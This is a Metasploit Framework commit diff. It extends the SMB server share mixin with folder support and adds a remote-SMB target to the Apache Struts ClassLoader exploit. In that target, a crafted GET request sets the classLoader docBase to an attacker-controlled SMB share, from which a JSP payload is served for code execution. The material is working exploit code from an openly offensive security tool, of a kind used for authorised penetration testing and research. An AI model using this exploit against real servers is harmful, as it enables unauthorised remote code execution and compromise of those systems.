Merging rapid7#3323 work

Author: jvazquez-r7

lib/msf/core/exploit/smb/server/share.rb

@@ -175,10 +175,9 @@ module Share
       # @!attribute share
       #   @return [String] The share portion of the provided UNC.
       attr_accessor :share
-      # @!attribute path_name
+      # @!attribute folder_name
       #   @return [String] The folder where the provided file lives.
-      #   @note UNSUPPORTED
-      attr_accessor :path_name
+      attr_accessor :folder_name
       # @!attribute file_name
       #   @return [String] The file name of the provided UNC.
       attr_accessor :file_name
@@ -199,6 +198,7 @@ def initialize(info = {})
           [
             OptString.new('SHARE', [ false, 'Share (Default Random)']),
             OptString.new('FILE_NAME', [ false, 'File name to share (Default Random)']),
+            OptString.new('FOLDER_NAME', [ false, 'Folder name to share (Default none)']),
             OptPath.new('FILE_CONTENTS', [ false, 'File contents (Default Random)'])
           ], Msf::Exploit::Remote::SMB::Server::Share)
       end
@@ -207,7 +207,7 @@ def initialize(info = {})
       def setup
         super
 
-        self.path_name = '\\' # TODO: Add subdirectories support
+        self.folder_name = datastore['FOLDER_NAME']
         self.share = datastore['SHARE'] || Rex::Text.rand_text_alpha(4 + rand(3))
         self.file_name = datastore['FILE_NAME'] || Rex::Text.rand_text_alpha(4 + rand(3))
 
@@ -224,7 +224,13 @@ def setup
 
       # Builds the UNC Name for the shared file
       def unc
-        "\\\\#{srvhost}\\#{share}\\#{file_name}"
+        if folder_name
+          path = "\\\\#{srvhost}\\#{share}\\#{folder_name}\\#{file_name}"
+        else
+          path = "\\\\#{srvhost}\\#{share}\\#{file_name}"
+        end
+
+        path
       end
 
       # Builds the server address.

lib/msf/core/exploit/smb/server/share/command/nt_create_andx.rb

@@ -32,7 +32,12 @@ def smb_cmd_nt_create_andx(c, buff)
               attribs = CONST::SMB_EXT_FILE_ATTR_NORMAL
               eof = file_contents.length
               is_dir = 0
-            elsif payload.eql?(path_name.downcase)
+            elsif folder_name && payload.ends_with?(folder_name.downcase)
+              fid = smb[:dir_id].to_i
+              attribs = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
+              eof = 0
+              is_dir = 1
+            elsif payload == "\\"
               fid = smb[:dir_id].to_i
               attribs = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
               eof = 0

lib/msf/core/exploit/smb/server/share/command/trans2.rb

@@ -87,8 +87,8 @@ def normalize_path(path)
           def smb_expand(path)
             search_path = path.gsub(/<\./, '*.') # manage wildcards
             extension = File.extname(file_name)
-            if search_path == "#{path_name}*#{extension}"
-              search_path = "#{path_name}#{file_name}"
+            if search_path =~ /\\\*#{extension}$/
+              search_path.gsub!(/\\\*#{extension}$/, "\\#{file_name}")
             end
 
             search_path

lib/msf/core/exploit/smb/server/share/information_level/find.rb

@@ -21,8 +21,15 @@ def smb_cmd_find_file_both_directory_info(c, path)
               alloc = 1048576 # Allocation Size = 1048576 || 1Mb
               attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
               search = 1
-            elsif path && path == path_name.downcase
-              data = Rex::Text.to_unicode(path_name)
+            elsif path && folder_name && path.ends_with?(folder_name.downcase)
+              data = Rex::Text.to_unicode(path)
+              length = 0
+              ea = 0x21
+              alloc = 0 # 0Mb
+              attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
+              search = 0x100
+            elsif path && path == "\\"
+              data = Rex::Text.to_unicode(path)
               length = 0
               ea = 0x21
               alloc = 0 # 0Mb
@@ -52,8 +59,10 @@ def smb_cmd_find_file_both_directory_info(c, path)
           def smb_cmd_find_file_names_info(c, path)
             if path && path.include?(file_name.downcase)
               data = Rex::Text.to_unicode(file_name)
-            elsif path && path == path_name.downcase
-              data = Rex::Text.to_unicode(path_name)
+            elsif path && folder_name && path.ends_with?(folder_name.downcase)
+              data = Rex::Text.to_unicode(path)
+            elsif path && path == "\\"
+              data = Rex::Text.to_unicode(path)
             else
               return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_NO_SUCH_FILE, true)
             end
@@ -68,15 +77,23 @@ def smb_cmd_find_file_names_info(c, path)
           # @param path [String] The path which the client is requesting info from.
           # @return [Fixnum] The number of bytes returned to the client as response.
           def smb_cmd_find_file_full_directory_info(c, path)
+
             if path && path.include?(file_name.downcase)
               data = Rex::Text.to_unicode(file_name)
               length = file_contents.length
               ea = 0
               alloc = 1048576 # Allocation Size = 1048576 || 1Mb
               attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL # File
               search = 0x100
-            elsif path && path == path_name.downcase
-              data = Rex::Text.to_unicode(path_name)
+            elsif path && folder_name && path.ends_with?(folder_name.downcase)
+              data = Rex::Text.to_unicode(path)
+              length = 0
+              ea = 0x21
+              alloc = 0 # 0Mb
+              attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
+              search = 1
+            elsif path && path == "\\"
+              data = Rex::Text.to_unicode(path)
               length = 0
               ea = 0x21
               alloc = 0 # 0Mb

lib/msf/core/exploit/smb/server/share/information_level/query.rb

@@ -48,15 +48,12 @@ def smb_cmd_trans_query_file_info_standard(c, fid)
           # @param c [Socket] The client sending the request.
           # @param path [String] The path which the client is requesting info from.
           # @return [Fixnum] The number of bytes returned to the client as response.
-          # @todo Delete elsif comment if testing proofs it as unnecessary
           def smb_cmd_trans_query_path_info_basic(c, path)
             if path && path.ends_with?(file_name.downcase)
               attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
-            #elsif path && path.ends_with?(file_name + '.Local')
-              #attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
-            elsif path && path == path_name.downcase
+            elsif path && folder_name && path.ends_with?(folder_name.downcase)
               attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
-            elsif path.nil? || path.empty? || path == "\x00" # empty path
+            elsif path.nil? || path.empty? || path == "\x00" || path == "\\" # empty path
               attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
             else
               return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true)
@@ -74,9 +71,9 @@ def smb_cmd_trans_query_path_info_basic(c, path)
           def smb_cmd_trans_query_path_info_standard(c, path)
             if path && path.include?(file_name.downcase)
               attrib = 0 # File attributes => file
-            elsif path && path == path_name.downcase
+            elsif path && folder_name && path.ends_with?(folder_name.downcase)
               attrib = 1 # File attributes => directory
-            elsif path.nil? || path.empty? || path == "\x00" # empty path
+            elsif path.nil? || path.empty? || path == "\x00" || path == "\\" # empty path
               attrib = 1 # File attributes => directory
             else
               return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true)
@@ -101,9 +98,9 @@ def smb_cmd_trans_query_path_info_network(c, path)
 
             if path && path.include?(file_name.downcase)
               attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
-            elsif path && path == path_name.downcase
+            elsif path && folder_name && path.ends_with?(folder_name.downcase)
               attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
-            elsif path.nil? || path.empty? || path == "\x00" # empty path
+            elsif path.nil? || path.empty? || path == "\x00" || path == "\\" # empty path
               attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
             else
               return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true)

modules/exploits/multi/http/struts_code_exec_classloader.rb

@@ -8,9 +8,10 @@
 class Metasploit3 < Msf::Exploit::Remote
   Rank = ManualRanking # It's going to manipulate the Class Loader
 
-  include Msf::Exploit::Remote::HttpClient
-  include Msf::Exploit::EXE
   include Msf::Exploit::FileDropper
+  include Msf::Exploit::EXE
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::Remote::SMB::Server::Share
 
   def initialize(info = {})
     super(update_info(info,
@@ -27,7 +28,8 @@ def initialize(info = {})
         [
           'Mark Thomas', # Vulnerability Discovery
           'Przemyslaw Celej', # Vulnerability Discovery
-          'Redsadic <julian.vilas[at]gmail.com>' # Metasploit Module
+          'Redsadic <julian.vilas[at]gmail.com>', # Metasploit Module
+          'Matthew Hall <hallm[at]sec-1.com>' # SMB target
         ],
       'License'        => MSF_LICENSE,
       'References'     =>
@@ -46,6 +48,7 @@ def initialize(info = {})
           'Space' => 5000,
           'DisableNops' => true
         },
+      'Stance'         => Msf::Exploit::Stance::Aggressive,
       'Targets'        =>
         [
           ['Java',
@@ -65,17 +68,28 @@ def initialize(info = {})
               'Arch'     => ARCH_X86,
               'Platform' => 'win'
             }
+          ],
+          ['Windows / Tomcat 6 & 7 (Remote SMB Resource)',
+            {
+              'Arch'     => ARCH_JAVA,
+              'Platform' => 'win'
+            }
           ]
         ],
       'DisclosureDate' => 'Mar 06 2014',
       'DefaultTarget'  => 1))
 
-      register_options(
-        [
-          Opt::RPORT(8080),
-          OptString.new('TARGETURI', [ true, 'The path to a struts application action', "/struts2-blank/example/HelloWorld.action"]),
-          OptEnum.new('STRUTS_VERSION', [ true, 'Apache Struts Framework version', '2.x', ['1.x','2.x']])
-        ], self.class)
+    register_options(
+      [
+        Opt::RPORT(8080),
+        OptEnum.new('STRUTS_VERSION', [ true, 'Apache Struts Framework version', '2.x', ['1.x','2.x']]),
+        OptString.new('TARGETURI', [ true, 'The path to a struts application action', "/struts2-blank/example/HelloWorld.action"]),
+        OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 10]),
+        OptString.new('FILE_NAME', [ true, 'The JSP file with the payload (target dependant)', 'HelloWorld.jsp']),
+        OptString.new('FOLDER_NAME', [ true, 'The Folder where the JSP payload lives (target dependant)', 'example'])
+      ], self.class)
+
+    deregister_options('FILE_CONTENTS')
   end
 
   def jsp_dropper(file, exe)
@@ -199,6 +213,34 @@ def create_jsp
   end
 
   def exploit
+    if target.name =~ /Remote SMB Resource/
+      begin
+        Timeout.timeout(datastore['SMB_DELAY']) { super }
+      rescue Timeout::Error
+        # do nothing... just finish exploit and stop smb server...
+      end
+    else
+      class_loader_exploit
+    end
+  end
+
+  # Used with SMB targets
+  def primer
+    self.file_contents = payload.encoded
+    print_status("JSP payload available on #{unc}...")
+
+    print_status("#{peer} - Modifying Class Loader...")
+    send_request_cgi({
+      'uri'     => normalize_uri(target_uri.path.to_s),
+      'version' => '1.1',
+      'method'  => 'GET',
+      'vars_get' => {
+        'class.classLoader.resources.dirContext.docBase' => "\\\\#{srvhost}\\#{share}"
+      }
+    })
+  end
+
+  def class_loader_exploit
     prefix_jsp = rand_text_alphanumeric(3+rand(3))
     date_format = rand_text_numeric(1+rand(4))
     @jsp_file = prefix_jsp + date_format + ".jsp"

modules/exploits/windows/fileformat/ms13_071_theme.rb

@@ -64,6 +64,7 @@ def initialize(info={})
           OptString.new('FILE_NAME', [ false, 'SCR File name to share', 'msf.scr'])
         ], self.class)
 
+      deregister_options('FOLDER_NAME')
       deregister_options('FILE_CONTENTS')
   end
 

modules/exploits/windows/misc/hp_dataprotector_cmd_exec.rb

@@ -61,6 +61,7 @@ def initialize(info={})
           OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 15])
         ], self.class)
 
+      deregister_options('FOLDER_NAME')
       deregister_options('FILE_CONTENTS')
   end
 

spec/lib/msf/core/exploit/smb/server/share/command/nt_create_andx_spec.rb

@@ -79,7 +79,6 @@
     mod.lo = 0
     mod.hi = 0
     mod.share = 'test'
-    mod.path_name = "\\"
     mod.file_name = 'false.exe'
     mod.file_contents = 'metasploit'
 

spec/lib/msf/core/exploit/smb/server/share/command/read_andx_spec.rb

@@ -67,7 +67,6 @@
     mod.lo = 0
     mod.hi = 0
     mod.share = 'test'
-    mod.path_name = "\\"
     mod.file_name = 'false.exe'
     mod.file_contents = 'metasploit'